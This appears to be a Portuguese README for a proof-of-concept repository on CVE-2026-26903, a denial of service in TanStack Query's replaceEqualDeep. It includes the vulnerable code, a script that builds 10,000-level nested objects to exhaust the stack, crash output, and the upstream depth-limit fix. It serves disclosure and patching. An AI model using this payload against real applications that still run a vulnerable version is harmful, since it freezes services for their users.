
Um PoC para demonstrar CVE-2026-26903
Negação de serviço via recursão ilimitada na função replaceEqualDeep do TanStack Query
Uma única atualização de consulta maliciosa com objetos profundamente aninhados pode congelar a thread do JavaScript indefinidamente, causando completa falta de resposta da aplicação. Nenhuma autenticação ou permissão especial é necessária.
Esta vulnerabilidade foi corrigida no @tanstack/[email protected] via PR #10032, publicado em 14 de janeiro de 2026.
| Pacote | Afetado | Corrigido |
|---|---|---|
| @tanstack/query-core | <= 5.90.16 | 5.90.17 |
| @tanstack/react-query | depende do query-core vulnerável | 5.90.18+ |
| @tanstack/vue-query | depende do query-core vulnerável | 5.90.18+ |
| @tanstack/solid-query | depende do query-core vulnerável | 5.90.18+ |
| @tanstack/svelte-query | depende do query-core vulnerável | 6.1.7+ |
CVE-2026-26903: Negação de Serviço via recursão ilimitada em replaceEqualDeep (Severidade: Média)
A função
replaceEqualDeepno TanStack Query realiza comparação recursiva de objetos aninhados sem limites de profundidade. Ao processar estruturas de dados profundamente aninhadas, isso pode desencadear recursão ilimitada levando a estouro de pilha e congelamento da aplicação.— Atribuído via MITRE
A função replaceEqualDeep do TanStack Query é usada internamente para determinar se os dados da consulta realmente mudaram, otimizando re-renderizações ao preservar referências de objetos quando possível. A função percorre recursivamente as propriedades do objeto para realizar uma comparação profunda de igualdade.
A implementação recursiva carece de limites de profundidade ou detecção de ciclo:
function replaceEqualDeep(a, b) {
// ... type checks ...
for (let i = 0; i < bSize; i++) {
const key = array ? i : bItems[i];
// ... shallow equality checks ...
// VULNERABLE: Unbounded recursion here
const v = replaceEqualDeep(a[key], b[key]);
copy[key] = v;
// ...
}
return copy;
}
replaceEqualDeep com dados profundamente aninhadosuseQuery com dados de resposta aninhadossetQueryData, invalidateQueries ou qualquer operação de cache de consultaCVE-2026-26903-PoC/
├── README.md # Este arquivo
├── LICENSE
├── poc.js # PoC Node.js (crash por estouro de pilha)
└── tanstack-query-poc.html # PoC no navegador (demo visual interativo)
git clone https://github.com/[seu-usuario]/CVE-2026-26903-PoC.git
cd CVE-2026-26903-PoC
node poc.js
Testing replaceEqualDeep with deep nesting...
Depth: 100
OK - 0ms
Depth: 1000
OK - 1ms
Depth: 5000
CRASH - Maximum call stack size exceeded
Depth: 10000
CRASH - Maximum call stack size exceeded
open tanstack-query-poc.html
Opção A: Demo HTML independente (sem dependências)
git clone https://github.com/[seu-usuario]/CVE-2026-26903-PoC.git
cd CVE-2026-26903-PoC
open tanstack-query-poc.html
Opção B: Aplicação React (cenário realista)
cd examples/react-app-poc
npm install
npm start
# Navegue para http://localhost:3000 e siga as instruções na tela
O PoC gera objetos profundamente aninhados e aciona replaceEqualDeep para processá-los:
function generateDeep(depth) {
let obj = { value: 'end' };
for (let i = 0; i < depth; i++) {
obj = { nested: obj };
}
return obj;
}
// Cria: { nested: { nested: { nested: ... { value: 'end' } } } }
const oldData = generateDeep(10000); // 10.000 níveis de profundidade
const newData = generateDeep(10000); // Objeto diferente, mesma estrutura
// Isto causa recursão ilimitada:
replaceEqualDeep(oldData, newData);
replaceEqualDeep(obj1, obj2)
├── replaceEqualDeep(obj1.nested, obj2.nested) // Nível 1
├── replaceEqualDeep(obj1.nested.nested, ...) // Nível 2
├── replaceEqualDeep(...) // Nível 3
└── ... (continua por 10.000 níveis)
Cada chamada recursiva adiciona um novo quadro de pilha até que a pilha de chamadas do motor JavaScript seja exaurida, congelando a thread.
Localização: @tanstack/query-core/src/utils.ts (aproximada)
export function replaceEqualDeep(a, b) {
if (a === b) {
return a;
}
const array = isPlainArray(a) && isPlainArray(b);
if (!array && !(isPlainObject(a) && isPlainObject(b))) {
return b;
}
const aItems = array ? a : Object.keys(a);
const aSize = aItems.length;
const bItems = array ? b : Object.keys(b);
const bSize = bItems.length;
const copy = array ? new Array(bSize) : {};
let equalItems = 0;
for (let i = 0; i < bSize; i++) {
const key = array ? i : bItems[i];
if (a[key] === b[key]) {
copy[key] = a[key];
equalItems++;
continue;
}
if (
a[key] === null ||
b[key] === null ||
typeof a[key] !== 'object' ||
typeof b[key] !== 'object'
) {
copy[key] = b[key];
continue;
}
// VULNERÁVEL: Sem limite de profundidade ou detecção de ciclo
const v = replaceEqualDeep(a[key], b[key]);
copy[key] = v;
if (v === a[key]) {
equalItems++;
}
}
return aSize === bSize && equalItems === aSize ? a : copy;
}
A correção (aplicada no commit 269351b do TanStack Query) adiciona um limite de profundidade para evitar recursão ilimitada:
- export function replaceEqualDeep<T>(a: unknown, b: T): T
- export function replaceEqualDeep(a: any, b: any): any {
+ export function replaceEqualDeep<T>(a: unknown, b: T, depth?: number): T
+ export function replaceEqualDeep(a: any, b: any, depth = 0): any {
if (a === b) {
return a
}
+ if (depth > 500) return b
+
const array = isPlainArray(a) && isPlainArray(b)
if (!array && !(isPlainObject(a) && isPlainObject(b))) return b
// ... seção central inalterada ...
- const v = replaceEqualDeep(aItem, bItem)
+ const v = replaceEqualDeep(aItem, bItem, depth + 1)
copy[key] = v
if (v === aItem) equalItems++
Principais mudanças:
depth adicionado com valor padrão 0 para rastrear a profundidade da recursãob imediatamente se depth > 500replaceEqualDeep(aItem, bItem, depth + 1)
Esta correção simples previne estouro de pilha enquanto permite aninhamento razoável (500 níveis é mais que suficiente para estruturas de dados do mundo real).Implementar limitação de profundidade em replaceEqualDeep:
function replaceEqualDeep(a, b, depth = 0) {
if (depth > MAX_DEPTH) return b; // Prevenir recursão profunda
if (a === b) return a;
// ... lógica existente ...
const v = replaceEqualDeep(a[key], b[key], depth + 1);
// ... resto da função
}
Ou usar iteração em vez de recursão.
Esta prova de conceito é fornecida apenas para fins educacionais e de testes de segurança autorizados. Use-a de forma responsável e apenas contra aplicações que você possui ou tem permissão explícita para testar. Os autores não são responsáveis por qualquer uso indevido desta informação.